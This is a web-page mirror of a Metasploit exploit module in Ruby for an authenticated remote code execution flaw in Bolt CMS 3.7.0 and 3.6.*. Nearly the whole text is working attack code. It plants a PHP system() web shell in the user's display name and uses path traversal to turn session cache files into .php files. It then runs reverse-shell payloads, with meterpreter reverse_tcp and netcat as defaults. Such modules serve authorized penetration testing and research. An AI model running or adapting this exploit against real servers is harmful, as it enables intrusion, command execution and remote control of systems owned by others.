CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/bolt_authenticated_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',
19
'Description' => %q{
20
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
21
and 3.6.* in order to execute arbitrary commands as the user running Bolt.
22
23
This module first takes advantage of a vulnerability that allows an
24
authenticated user to change the username in /bolt/profile to a PHP
25
`system($_GET[""])` variable. Next, the module obtains a list of tokens
26
from `/async/browse/cache/.sessions` and uses these to create files with
27
the blacklisted `.php` extention via HTTP POST requests to
28
`/async/folder/rename`. For each created file, the module checks the HTTP
29
response for evidence that the file can be used to execute arbitrary
30
commands via the created PHP $_GET variable. If the response is negative,
31
the file is deleted, otherwise the payload is executed via an HTTP
32
get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`
33
34
Valid credentials for a Bolt CMS user are required. This module has been
35
successfully tested against Bolt CMS 3.7.0 running on CentOS 7.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => [
39
'Sivanesh Ashok', # Discovery
40
'r3m0t3nu11', # PoC
41
'Erik Wynter' # @wyntererik - Metasploit
42
],
43
'References' => [
44
['EDB', '48296'],
45
['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok
46
],
47
'Platform' => ['linux', 'unix'],
48
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
49
'Targets' => [
50
[
51
'Linux (x86)', {
52
'Arch' => ARCH_X86,
53
'Platform' => 'linux',
54
'DefaultOptions' => {
55
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
56
}
57
}
58
],
59
[
60
'Linux (x64)', {
61
'Arch' => ARCH_X64,
62
'Platform' => 'linux',
63
'DefaultOptions' => {
64
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
65
}
66
}
67
],
68
[
69
'Linux (cmd)', {
70
'Arch' => ARCH_CMD,
71
'Platform' => 'unix',
72
'DefaultOptions' => {
73
'PAYLOAD' => 'cmd/unix/reverse_netcat'
74
}
75
}
76
]
77
],
78
'Privileged' => false,
79
'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time
80
'DefaultOptions' => {
81
'RPORT' => 8000,
82
'WfsDelay' => 5
83
},
84
'DefaultTarget' => 2,
85
'Notes' => {
86
'NOCVE' => ['0day'],
87
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
88
'Reliability' => [REPEATABLE_SESSION],
89
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
90
}
91
)
92
)
93
94
register_options [
95
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
96
OptString.new('USERNAME', [true, 'Username to authenticate with', false]),
97
OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),
98
OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])
99
]
100
end
101
102
def check
103
# obtain token and cookie required for login
104
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
105
106
return CheckCode::Unknown('Connection failed') unless res
107
108
unless res.code == 200 && res.body.include?('Sign in to Bolt')
109
return CheckCode::Safe('Target is not a Bolt CMS application.')
110
end
111
112
html = res.get_html_document
113
token = html.at('input[@id="user_login__token"]')['value']
114
cookie = res.get_cookies
115
116
# perform login
117
res = send_request_cgi({
118
'method' => 'POST',
119
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
120
'cookie' => cookie,
121
'vars_post' => {
122
'user_login[username]' => datastore['USERNAME'],
123
'user_login[password]' => datastore['PASSWORD'],
124
'user_login[login]' => '',
125
'user_login[_token]' => token
126
}
127
})
128
129
return CheckCode::Unknown('Connection failed') unless res
130
131
unless res.code == 302 && res.body.include?('Redirecting to /bolt')
132
return CheckCode::Unknown('Failed to authenticate to the server.')
133
end
134
135
@cookie = res.get_cookies
136
return unless @cookie
137
138
# visit profile page to obtain user_profile token and user email
139
res = send_request_cgi({
140
'method' => 'GET',
141
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
142
'cookie' => @cookie
143
})
144
145
return CheckCode::Unknown('Connection failed') unless res
146
147
unless res.code == 200 && res.body.include?('<title>Profile')
148
return CheckCode::Unknown('Failed to authenticate to the server.')
149
end
150
151
html = res.get_html_document
152
153
@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
154
unless @email # create fake email if this value is not found
155
@email = Rex::Text.rand_text_alpha_lower(5..8)
156
@email << "@#{@email}."
157
@email << Rex::Text.rand_text_alpha_lower(2..3)
158
print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
159
end
160
161
@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)
162
163
if !@profile_token || @profile_token.to_s.empty?
164
return CheckCode::Unknown('Authentication failure.')
165
end
166
167
# change user profile to a php $_GET variable
168
@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
169
res = send_request_cgi({
170
'method' => 'POST',
171
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
172
'cookie' => @cookie,
173
'vars_post' => {
174
'user_profile[password][first]' => datastore['PASSWORD'],
175
'user_profile[password][second]' => datastore['PASSWORD'],
176
'user_profile[email]' => @email,
177
'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",
178
'user_profile[save]' => '',
179
'user_profile[_token]' => @profile_token
180
}
181
})
182
183
return CheckCode::Unknown('Connection failed') unless res
184
185
# visit profile page again to verify the changes
186
res = send_request_cgi({
187
'method' => 'GET',
188
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
189
'cookie' => @cookie
190
})
191
192
return CheckCode::Unknown('Connection failed') unless res
193
194
unless res.code == 200 && res.body.include?("php system($_GET[&#039;#{@php_var_name}&#039")
195
return CheckCode::Unknown('Authentication failure.')
196
end
197
198
CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
199
end
200
201
def exploit
202
csrf
203
unless @csrf_token && !@csrf_token.empty?
204
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
205
end
206
vprint_status("Found CSRF token: #{@csrf_token}")
207
208
file_tokens = obtain_cache_tokens
209
unless file_tokens && !file_tokens.empty?
210
fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
211
end
212
print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")
213
214
token_results = try_tokens(file_tokens)
215
unless token_results && !token_results.empty?
216
fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
217
end
218
219
valid_token = token_results[0]
220
@rogue_file = token_results[1]
221
222
print_good("Used token #{valid_token} to create #{@rogue_file}.")
223
if target.arch.first == ARCH_CMD
224
execute_command(payload.encoded)
225
else
226
execute_cmdstager
227
end
228
end
229
230
def csrf
231
# visit /bolt/overview/showcases to get csrf token
232
res = send_request_cgi({
233
'method' => 'GET',
234
'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
235
'cookie' => @cookie
236
})
237
238
fail_with Failure::Unreachable, 'Connection failed' unless res
239
240
unless res.code == 200 && res.body.include?('Showcases')
241
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
242
end
243
244
html = res.get_html_document
245
@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
246
end
247
248
def obtain_cache_tokens
249
# obtain tokens for creating rogue .php files from cache
250
res = send_request_cgi({
251
'method' => 'GET',
252
'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
253
'cookie' => @cookie
254
})
255
256
fail_with Failure::Unreachable, 'Connection failed' unless res
257
258
unless res.code == 200 && res.body.include?('entry disabled')
259
fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
260
end
261
262
html = res.get_html_document
263
entries = html.search('tr')
264
tokens = []
265
entries.each do |e|
266
token = e.at('span[@class="entry disabled"]').text.strip
267
size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]
268
tokens.append(token) if size.to_i >= 2000
269
end
270
271
tokens
272
end
273
274
def try_tokens(file_tokens)
275
# create .php files and check if any of them can be used for RCE via the username $_GET variable
276
file_tokens.each do |token|
277
file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present
278
file_name = Rex::Text.rand_text_alpha_lower(8..12)
279
file_name << '.php'
280
281
# use token to create rogue .php file by 'renaming' a file from cache
282
res = send_request_cgi({
283
'method' => 'POST',
284
'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),
285
'cookie' => @cookie,
286
'vars_post' => {
287
'namespace' => 'root',
288
'parent' => '/app/cache/.sessions',
289
'oldname' => token,
290
'newname' => "#{file_path}/#{file_name}",
291
'token' => @csrf_token
292
}
293
})
294
295
fail_with Failure::Unreachable, 'Connection failed' unless res
296
297
next unless res.code == 200 && res.body.include?(file_name)
298
299
# check if .php file contains an empty `displayname` value. If so, cmd execution should work.
300
res = send_request_cgi({
301
'method' => 'GET',
302
'uri' => normalize_uri(target_uri.path, 'files', file_name),
303
'cookie' => @cookie
304
})
305
306
fail_with Failure::Unreachable, 'Connection failed' unless res
307
308
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
309
unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
310
delete_file(file_name)
311
next
312
end
313
314
return token, file_name
315
end
316
317
nil
318
end
319
320
def execute_command(cmd, _opts = {})
321
if target.arch.first == ARCH_CMD
322
print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")
323
end
324
325
res = send_request_cgi({
326
'method' => 'GET',
327
'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),
328
'cookie' => @cookie,
329
'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
330
}, 3.5)
331
332
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
333
unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
334
print_warning('No response, may have executed a blocking payload!')
335
return
336
end
337
338
print_good('Payload executed!')
339
end
340
341
def cleanup
342
super
343
344
# delete rogue .php file used for execution (if present)
345
delete_file(@rogue_file) if @rogue_file
346
347
return unless @profile_token
348
349
# change user profile back to original
350
res = send_request_cgi({
351
'method' => 'POST',
352
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
353
'cookie' => @cookie,
354
'vars_post' => {
355
'user_profile[password][first]' => datastore['PASSWORD'],
356
'user_profile[password][second]' => datastore['PASSWORD'],
357
'user_profile[email]' => @email,
358
'user_profile[displayname]' => datastore['USERNAME'].to_s,
359
'user_profile[save]' => '',
360
'user_profile[_token]' => @profile_token
361
}
362
})
363
364
unless res
365
print_warning('Failed to revert user profile back to original state.')
366
return
367
end
368
369
# visit profile page again to verify the changes
370
res = send_request_cgi({
371
'method' => 'GET',
372
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
373
'cookie' => @cookie
374
})
375
376
unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
377
print_warning('Failed to revert user profile back to original state.')
378
end
379
380
print_good('Reverted user profile back to original state.')
381
end
382
383
def delete_file(file_name)
384
res = send_request_cgi({
385
'method' => 'POST',
386
'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),
387
'cookie' => @cookie,
388
'vars_post' => {
389
'namespace' => 'files',
390
'filename' => file_name,
391
'token' => @csrf_token
392
}
393
})
394
395
unless res && res.code == 200 && res.body.include?(file_name)
396
print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
397
end
398
399
print_good("Deleted file #{file_name}.")
400
end
401
402
end
403
404